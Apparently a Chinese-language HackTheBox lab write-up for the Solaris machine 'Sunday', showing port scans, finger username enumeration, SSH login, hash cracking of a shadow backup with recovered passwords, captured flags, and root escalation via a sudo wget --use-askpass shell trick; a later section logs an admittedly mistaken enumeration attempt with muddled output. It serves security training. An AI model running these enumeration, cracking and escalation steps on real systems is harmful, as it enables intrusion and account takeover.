

# Sunday(完成)

```
└─# nmap -sT -p- --min-rate 5000 10.10.10.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 09:18 PDT
Warning: 10.10.10.76 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.76
Host is up (0.22s latency).
Not shown: 60687 filtered tcp ports (no-response), 4843 closed tcp ports (conn-refused)
PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
515/tcp   open  printer
6787/tcp  open  smc-admin
22022/tcp open  unknown
```

```
└─# nmap -sCV 10.10.10.76 -p 79,111,515,6787,22022
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 09:23 PDT
Nmap scan report for 10.10.10.76
Host is up (0.22s latency).

PORT      STATE SERVICE VERSION
79/tcp    open  finger?
|_finger: No one logged on\x0D
| fingerprint-strings:
|   GenericLines:
|     No one logged on
|   GetRequest:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help:
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest:
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq:
```

[illegible]

Service detection performed. Please report any incorrect results at  
<https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 110.93 seconds

79port參考hacktrick=>

<https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-finger#ji-ben-xin-xi>

```
(root@kali)-[~/htb/Sunday/finger-user-enum]
# ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

|----- Scan Information -----|

Worker Processes ..... 5
Usernames file ..... /usr/share/seclists/Usernames/Names/names.txt
Target count ..... 1
Username count ..... 10177
Target TCP port ..... 79
Query timeout ..... 5 secs
Relay Server ..... Not used

##### Scan started at Tue Apr 9 09:39:55 2024 #####
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym
< . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin
< . . . . >..dladm Datalink Admin < . . . . >..netadm Network Admin
< . . . . >..netcfg Network Configuratio < . . . . >..dhcperv DHCP Configura
tion A < . . . . >..ikeuser IKE Admin < . . . . >..lp Line Print
er Admin < . . . . >..
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
ike@10.10.10.76: ikeuser IKE Admin < . . . . >..
jo ann@10.10.10.76: Login Name TTY Idle When Where..ann ???..jo ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >
>..
miof mela@10.10.10.76: Login Name TTY Idle When Where..mela ???..miof ???..
root@10.10.10.76: root Super-User ssh <Dec 7 01:27> 10.10.14.46 ..
sammy@10.10.10.76: sammy ??? ssh <Apr 13, 2022> 10.10.14.13 ..
sunny@10.10.10.76: sunny ??? ssh <Apr 13, 2022> 10.10.14.13 ..
```

發現兩組特別usermae:

sammy

ssh => user:sunny passwd:sunday

```
(root@kali)-[~]
# finger sammy@10.10.10.76
Login Name TTY Idle When Where
sammy ??? ssh <Apr 13, 2022> 10.10.14.13

(root@kali)-[~]
# finger hi@10.10.10.76
Login Name TTY Idle When Where
hi ???

(root@kali)-[~]
# ssh -p 22022 sunny@10.10.10.76
(sunny@10.10.10.76) Password:
Warning: 6 failed authentication attempts since last successful authentication. The latest at Tue Apr 09 1
6:28 2024.
Warning: 6 failed authentication attempts since last successful authentication. The latest at Tue Apr 09 1
6:28 2024.
Last login: Wed Apr 13 15:35:50 2022 from 10.10.14.13
Oracle Solaris 11.4.42.111.0 Assembled December 2021
sunny@sunday:~$ id
uid=101(sunny) gid=10(staff)
sunny@sunday:~$ whoami
sunny
sunny@sunday:~$ uname -a
SunOS sunday 5.11 11.4.42.111.0 i86pc i386 i86pc vmware
sunny@sunday:~$
```

查看歷史發現有備份

```
sunny@sunday:~$ history
 1  su -
 2  su -
 3  cat /etc/resolv.conf
 4  su -
 5  ps auxwww|grep overwrite
 6  su -
 7  sudo -l
 8  sudo /root/troll
 9  ls /backup
10  ls -l /backup
11  cat /backup/shadow.backup
12  sudo /root/troll
```

因目前user flag在sammy需要登入

```
sunny@sunday:~$ cat /backup/shadow.backup
mysql:NP:::::::::
openldap:*LK*:::::::::
webserver:*LK*:::::::::
postgres:NP:::::::::
svctag:*LK*:6445:::::::::
nobody:*LK*:6445:::::::::
noaccess:*LK*:6445:::::::::
nobody4:*LK*:6445:::::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:6445:::::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::::::
```

sammy:\$5\$Ebkn8jlK\$i6SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:6445:::::::::

sunny:\$5\$iRMbpnBv\$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::::::

```
(root@kali)-[~/HTB/sunday]
# hashcat passwd -m 7400 /usr/share/wordlists/rockyou.txt --show
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:cooldude!
$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:sunday
```

username: sammy

passwd: cooldude!

user flag

```
bash-5.1$ cat user.txt
c1d48a5a8202482dbb193ba52a621350
```

提權+root flag

```
bash-5.1$ sudo -l
使用者 sammy 可以在 sunday 上執行以下指令：
(ALL) ALL
(root) NOPASSWD: /usr/bin/wget
bash-5.1$
```

參考=>

<https://gtfobins.github.io/gtfobins/wget/#suid>

```
bash-5.1$ TF=$(mktemp)
bash-5.1$ chmod +x $TF
bash-5.1$ echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
bash-5.1$ sudo wget --use-askpass=$TF 0
root@sunday:/usr/bin# cd
root@sunday:~# ls
overwrite      root.txt      troll         troll.original
root@sunday:~# cat root.txt
b476efe6fe1736ca2c02be5abd0d4b5b
root@sunday:~#
```

## 以下有誤

1. 未完全掃Port · 有hight port
2. msf資料抓與有誤

```
└─# nmap -sCV 10.10.10.76
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 09:27 PDT
Nmap scan report for 10.10.10.76
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
79/tcp    open  finger?
| fingerprint-strings:
|   GenericLines:
|     No one logged on
|   GetRequest:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions:
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
```

```

Help:
Login Name TTY Idle When Where
HELP ???
RTSPRequest:
Login Name TTY Idle When Where
OPTIONS ???
RTSP/1.0 ???
SSLSessionReq:
Login Name TTY Idle When Where
finger: No one logged on\x0D
111/tcp open  rpcbind 2-4 (RPC #100000)
515/tcp open  printer

1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port79-TCP:V=7.94SVN%I=7%D=4/8%Time=66141B23%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,12,"No\x20one\x20logged\x20on\r\n")%r(GetRequest,93,"L
SF:ogin\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20Idle\x2
SF:0\x20\x20\x20When\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:r\nHELPE\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:0Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:0TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:0Idle\x20\x20\x20When\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20
SF:20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:r\nHTTP/1.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:P/1.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:n")%r(SSLSessionReq,5D,"Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:20Idle\x20\x20\x20When\x20\x20\x20Where\r\n\x16
SF:\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20

```

```
SF:0\x20\x20\x20\?\?\?\r\n");
```

Service detection performed. Please report any incorrect results at  
<https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 131.43 seconds

參考hacktrick=><https://book.hacktricks.xyz/v/cn/network-services-pentesting/pentesting-finger#ji-ben-xin-xi>

79port使用msf進行username爆破

```
msf6 auxiliary(scanner/finger/finger_users) > exploit
```

```
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: adm
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: ikeuser
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: lp
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: dladm
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: netadm
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: netcfg
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: dhcpserve
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: bin
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: daemon
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: _ntp
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: ftp
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: noaccess
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: nobody
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: nobody4
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: root
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: sshd
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: sys
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: aiuser
[+] 10.10.10.76:79      - 10.10.10.76:79 - Found user: openldap
[+] 10.10.10.76:79      - 10.10.10.76:79 Users found: _ntp, adm, aiuser, bin,
daemon, dhcpserve, dladm, ftp, ikeuser, lp, netadm, netcfg, noaccess, nobody, nobody4,
openldap, root, sshd, sys
[*] 10.10.10.76:79      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

將username彙整一格文件

```
(root@kali)-[~/htb/Sunday]
# cat text | grep user: | awk '{print $8}' > username

(root@kali)-[~/htb/Sunday]
# cat username
adm
ikeuser
lp
dladm
netadm
netcfg
dhcperv
bin
daemon
_ntp
ftp
noaccess
nobody
nobody4
root
sshd
sys
aiuser
openldap
```

進行回圈測試，確認四組username可登入



(root@kali)~[~/htb/Sunday]

bash 79.sh

Login	Name	TTY	Idle	When	Where
adm	Admin		< . . . . >		
Login	Name	TTY	Idle	When	Where
ikeuser	IKE Admin		< . . . . >		
Login	Name	TTY	Idle	When	Where
lp	Line Printer Admin		< . . . . >		
Login	Name	TTY	Idle	When	Where
dladm	Datalink Admin		< . . . . >		
Login	Name	TTY	Idle	When	Where
netadm	Network Admin		< . . . . >		
Login	Name	TTY	Idle	When	Where
netcfg	Network Configuratio		< . . . . >		
Login	Name	TTY	Idle	When	Where
dhcpcserv	DHCP Configuration A		< . . . . >		
Login	Name	TTY	Idle	When	Where
bin	???		< . . . . >		
Login	Name	TTY	Idle	When	Where
daemon	???		< . . . . >		
_ntp	NTP Daemon		< . . . . >		
Login	Name	TTY	Idle	When	Where
_ntp	NTP Daemon		< . . . . >		
Login	Name	TTY	Idle	When	Where
ftp	FTPD Reserved UID		< . . . . >		
Login	Name	TTY	Idle	When	Where
noaccess	No Access User		< . . . . >		
Login	Name	TTY	Idle	When	Where
nobody	NFS Anonymous Access		< . . . . >		
Login	Name	TTY	Idle	When	Where
nobody4	SunOS 4.x NFS Anonym		< . . . . >		
Login	Name	TTY	Idle	When	Where
root	Super-User	ssh	<Dec 7 01:27>	10.10.14.4	
Login	Name	TTY	Idle	When	Where
sshd	sshd privsep		< . . . . >		
Login	Name	TTY	Idle	When	Where
sys	???		< . . . . >		
Login	Name	TTY	Idle	When	Where
aiuser	AI User		< . . . . >		
Login	Name	TTY	Idle	When	Where
openldap	OpenLDAP User		< . . . . >		

```
(root@kali)-[~/htb/Sunday]
# cat 79_login.sh
#!/bin/bash
file="username.txt"
for i in $(cat "$file")
do
    finger login "$i" 10.10.10.76
    echo #
done

finger: 10.10.10.76: no such user.
Login: bin
Directory: /bin
Never logged in.
No mail.
No Plan.
Name: bin
Shell: /usr/sbin/nologin

finger: login: no such user.
finger: 10.10.10.76: no such user.
Login: daemon
Directory: /usr/sbin
Never logged in.
No mail.
No Plan.
Name: daemon
Shell: /usr/sbin/nologin

Login: usbmux
Directory: /var/lib/usbmux
Never logged in.
No mail.
No Plan.
Name: usbmux daemon
Shell: /usr/sbin/nologin

Login: avahi
Directory: /run/avahi-daemon:
Never logged in.
No mail.
No Plan.
Name: Avahi mDNS daemon
Shell: /usr/sbin/nologin

Login: pulse
Directory: /run/pulse
Never logged in.
No mail.
No Plan.
Name: PulseAudio daemon
Shell: /usr/sbin/nologin

Login: colord
Directory: /var/lib/colord
Never logged in.
No mail.
No Plan.
Name: colord colour management daemon
Shell: /usr/sbin/nologin

finger: login: no such user.
finger: _ntp: no such user.
finger: 10.10.10.76: no such user.
```

```
└─# cat username_login | grep Login | awk '{print $2}' > username_login.txt
usbmux
avahi
pulse
colord
```